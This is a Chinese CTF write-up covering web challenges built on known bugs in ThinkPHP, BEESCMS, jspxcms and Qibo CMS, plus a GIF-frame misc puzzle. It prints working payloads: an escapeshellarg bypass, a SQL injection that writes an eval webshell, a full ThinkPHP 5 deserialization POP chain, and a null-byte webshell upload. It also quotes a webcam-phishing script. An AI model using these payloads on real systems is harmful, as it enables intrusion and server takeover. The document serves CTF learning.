emm,怎么说呢,可能是为了配合夏令营吧,大部分都是框架题,网上搜一下就差不多能找到了,但是实话实说,题目质量确实一般
Web
ezrce
参考:Yapi远程命令执行漏洞复现 - FreeBuf网络安全行业门户,直接打就行
cat flag
直接给源码:
1
2
3
4
5
6
7
8
9
10
11
12
| <?php
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
if (!preg_match('/flag/i',$cmd))
{
$cmd = escapeshellarg($cmd);
system('cat ' . $cmd);
}
} else {
highlight_file(__FILE__);
}
?>
|
cmd参数不能包含flag关键词,然后经过escapeshellarg函数之后执行cat命令。
有个hint:管理员曾访问过flag。
经过一番查找,找到了nignx的access.log,payload:/?cmd=/var/log/nginx/access.log
,可以看到有一个/this_is_final_flag_e2a457126032b42d.php
,应该就是要cat这个文件了,但是文件名里包含了flag关键词,而且又经过了escapeshellarg函数,没法命令注入
找了蛮久的,最后在文档里找到这么一个评论
意思大概是escapeshellarg会在没有设置lang环境变量的时候将非ASCII字符丢弃,所以我们可以使用非ASCII字符绕过,最终payload:/?cmd=this_is_final_fl%ffag_e2a457126032b42d.php
其实早上的时候就看到了相关的文章:
但是当时尝试的是ā
这个字符,不知道为啥不行
easythinkphp
一个thinkphp3.2.3比较新的洞,参考:【漏洞通报】ThinkPHP3.2.x RCE漏洞通报 (qq.com)
最终payload:/?m=Home&c=Index&a=index&value[_filename]=../../../flag
jspxcms
参考:复现jspxcms解压getshell漏洞 | lockcy’s cave
需要管理员的权限,比赛的时候是公用靶机,每十分钟重置一次,刚开始的时候进不了后台找不到点,后面就盯着重置然后冲进去改密码hh
需要用到冰蝎,冰蝎的坑具体参考:为啥子java14还是运行不了 · Issue #115 · rebeyond/Behinder (github.com)
最后:
cybercms
www.zip有源码
根据源码的信息确定是BEESCMS,网上寻找相关漏洞利用,大概找到这么几篇吧:
【代码审计初探】beescms v4.0_R SQL_白帽子技术/思路_i春秋社区-分享你的技术,为安全加点温度. (ichunqiu.com)
【代码审计】对Beescms SQL注入漏洞的进一步思考_白帽子技术/思路_i春秋社区-分享你的技术,为安全加点温度. (ichunqiu.com)
【送0day】代码审计就该这么来3 beescms getshell_白帽子技术/思路_i春秋社区-分享你的技术,为安全加点温度. (ichunqiu.com)
session覆盖可以进入后台,但是上传的时候显示permission deny,于是转向sql注入。
与源码对比发现出题人增加了一个过滤函数,并且把报错关了(没找到报错在哪关了。。):
可以看到这个过滤还是很好绕的,上面的用双写绕过,下面的用/**/
绕过即可
实际测试发现经过htmlspecialchars
的字符可以注入到sql语句,但是没法正常放进数据库里(tcl,不知道为啥)
最终payload:user=admin%27/**/un+union+ion/**/selselectect/**/null,null,null,null,0x3c3f70687020686967686c696768745f66696c65285f5f46494c455f5f293b406576616c28245f504f53545b6b3174655d293b3f3e/**/into/**/outoutfilefile/**/%27/var/www/html/shell.php%27%23
效果:
ez_website
参考:齐博建站系统x1.0代码审计 - Ma4ter Blog
labelmodels控制器get_label方法直接将tag_arrar数组键cfg的值进行了反序列化:
直接拿tp5的pop链打就行,网上找了个exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
| <?php
namespace think\process\pipes {
class Windows {
private $files = [];
public function __construct($files)
{
$this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
}
namespace think {
abstract class Model{
protected $append = [];
protected $error = null;
public $parent;
function __construct($output, $modelRelation)
{
$this->parent = $output; //$this->parent=> think\console\Output;
$this->append = array("xxx"=>"getError"); //调用getError 返回this->error
$this->error = $modelRelation; // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($output, $modelRelation)
{
parent::__construct($output, $modelRelation);
}
}
}
namespace think\model\relation{
class HasOne extends OneToOne {
}
}
namespace think\model\relation {
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query)
{
$this->selfRelation = 0;
$this->query = $query; //$query指向Query
$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
}
}
}
namespace think\db {
class Query {
protected $model;
function __construct($model)
{
$this->model = $model; //$this->model=> think\console\Output;
}
}
}
namespace think\console{
class Output{
private $handle;
protected $styles;
function __construct($handle)
{
$this->styles = ['getAttr'];
$this->handle =$handle; //$handle->think\session\driver\Memcached
}
}
}
namespace think\session\driver {
class Memcached
{
protected $handler;
function __construct($handle)
{
$this->handler = $handle; //$handle->think\cache\driver\File
}
}
}
namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;
function __construct(){
$this->options=[
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'data_compress' => false,
];
$this->tag = 'xxx';
}
}
}
namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
echo urlencode(serialize($window));
}
<?php
namespace think\process\pipes {
class Windows {
private $files = [];
public function __construct($files)
{
$this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
}
namespace think {
abstract class Model{
protected $append = [];
protected $error = null;
public $parent;
function __construct($output, $modelRelation)
{
$this->parent = $output; //$this->parent=> think\console\Output;
$this->append = array("xxx"=>"getError"); //调用getError 返回this->error
$this->error = $modelRelation; // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($output, $modelRelation)
{
parent::__construct($output, $modelRelation);
}
}
}
namespace think\model\relation{
class HasOne extends OneToOne {
}
}
namespace think\model\relation {
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query)
{
$this->selfRelation = 0;
$this->query = $query; //$query指向Query
$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
}
}
}
namespace think\db {
class Query {
protected $model;
function __construct($model)
{
$this->model = $model; //$this->model=> think\console\Output;
}
}
}
namespace think\console{
class Output{
private $handle;
protected $styles;
function __construct($handle)
{
$this->styles = ['getAttr'];
$this->handle =$handle; //$handle->think\session\driver\Memcached
}
}
}
namespace think\session\driver {
class Memcached
{
protected $handler;
function __construct($handle)
{
$this->handler = $handle; //$handle->think\cache\driver\File
}
}
}
namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;
function __construct(){
$this->options=[
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../public/uploads/images/a.php',
'data_compress' => false,
];
$this->tag = 'xxx';
}
}
}
namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
echo urlencode(serialize($window));
}
|
文件名的生成规则是:原本的文件名+md5('tag_'+md5($this->tag))+'.php'
,这里的话就是'a.php'+md5('tag_'+md5('xxx'))+'.php'
,即a.php12ac95f1498ce51d2d96a249c09c1998.php
有个小坑,这里的根目录不可写,所以无法成功写马,所以我们换到/public/uploads/images
这个目录下面,或者/runtime/temp
这个目录也行,最终payload:
1
| /index.php/index/labelmodels/get_label?tag_array[cfg]=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A3%3A%22xxx%22%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A3%3A%7Bs%3A15%3A%22%00%2A%00selfRelation%22%3Bi%3A0%3Bs%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22xxx%22%3B%7Ds%3A8%3A%22%00%2A%00query%22%3BO%3A14%3A%22think%5Cdb%5CQuery%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00model%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A3600%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A144%3A%22php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%7Cconvert.base64-decode%2Fresource%3DaaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g%2F..%2Fpublic%2Fuploads%2Fimages%2Fa.php%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bs%3A3%3A%22xxx%22%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7D%7D%7Ds%3A6%3A%22parent%22%3Br%3A11%3B%7D%7D%7D
|
最后执行根目录的readflag即可:
jj’s camera
挺有意思的一道题目。
打开之后的页面是这样的:
点击生成链接之后底下会生成一个可以跳转的链接:
但是除了弹出一个框就啥也没了:
然后点击查看照片也是一直显示没有照片:
懵了半天,然后拿到Firefox打开的时候,发现它提示我是否允许开启摄像头权限,联想到题目的名字”jj’s camera“,把摄像头的权限给了他看看,反正咱也贴了胶布不是。然后会发现他会拍下一张照片并提交给qbl.php,然后跳转到上边填写的链接。
把上边的串起来,这个网站就是一个钓鱼的后台,生成钓鱼链接,当受害者点击生成的链接并且给了摄像头权限之后就可以拍到受害者的照片并返回给后台。
这个qbl.php就是接受照片并处理跳转的php,因为名字起的挺奇怪的,所以我们就直接去google它,然后发现网上有源码:
链接:在吗宝贝?你点开这个网址看看【打开网站偷拍照片】] - 知乎 (zhihu.com)
qbl.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| <?php
error_reporting(0);
$base64_img = trim($_POST['img']);
$id = trim($_GET['id']);
$url = trim($_GET['url']);
$up_dir = './img/';//存放在当前目录的img文件夹下
if(empty($id) || empty($url) || empty($base64_img)){
exit;
}
if(!file_exists($up_dir)){
mkdir($up_dir,0777);
}
if(preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_img, $result)){
$type = $result[2];
if(in_array($type,array('bmp','png'))){
$new_file = $up_dir.$id.'_'.date('mdHis_').'.'.$type;
file_put_contents($new_file, base64_decode(str_replace($result[1], '', $base64_img)));
header("Location: ".$url);
}
}
?>
|
注意到服务器的php版本是5.2.17,对代码进行审计,我们可以在id处利用00截断,将后边的png后缀去掉,从而上传shell,payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| POST /qbl.php?id=shell.php%00a&url=http://baidu.com HTTP/1.1
Host: node4.buuoj.cn:27340
Content-Length: 106
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="91", " Not;A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: https://node4.buuoj.cn:27340
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://node4.buuoj.cn:27340/sc.php?id=1&url=http://baidu.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
img=data%3Aimage%2Fpng%3Bbase64%2CPD9waHAgaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pO0BldmFsKCRfUE9TVFtrMXRlXSk7Pz4=
|
图片会放在img目录下,直接去找就行:
Misc
Just a GIF
将gif逐帧分解之后发现很多冗余图片,每11张一个循环,遂写脚本看看那些地方不同:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| import os
from PIL import Image
if __name__ == "__main__":
# gif逐帧分解
im = Image.open('Just_a_GIF.gif')
if not os.path.exists('src'):
os.mkdir('src')
count = 0
try:
while True:
im.seek(count)
im.save('src/' + str(count) + '.png')
count = count + 1
except:
pass
print('帧数' + str(count))
# 找不同
if not os.path.exists('result'):
os.mkdir('result')
rows = 119
cols = 83
for column in range(11):
result = Image.new('RGBA',(rows,cols),'black')
for row in range(1,41):
origin = Image.open(f"src/{column}.png").convert('RGBA').load()
diff = Image.open(f"src/{row*11+column}.png").convert('RGBA').load()
for x in range(rows):
for y in range(cols):
if origin[x,y] != diff[x,y]:
result.putpixel((x,y),(255,255,255,255))
result.save(f'result/{column+1}.png')
|
得到若干长得像二维码的图片以及两张顺序图,很明显是贴起来了,但是图片右边有黑边,先切掉再拼接:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| from PIL import Image
images = []
flag = Image.new('RGB',(83*3,83*3))
for i in range(1,10):
im = Image.open(f"result/{i}.png")
images.append(im.crop((0,0,83,83)))
order = [
[7,1,6],
[9,3,4],
[5,2,8]
]
for row in range(3):
for col in range(3):
index = order[row][col]
flag.paste(images[index-1],(col*83,row*83))
# flag.show()
flag.save('flag.png')
|
是个DataMatrix,直接识别即可
写在最后
其实不能说题目质量不行,只是因为比赛的时候时间紧,所以就只能直接拿网上的payload打,但是赛后再来看看,照着网上的文章,一个函数一个函数跟进,还是能学到很多东西的。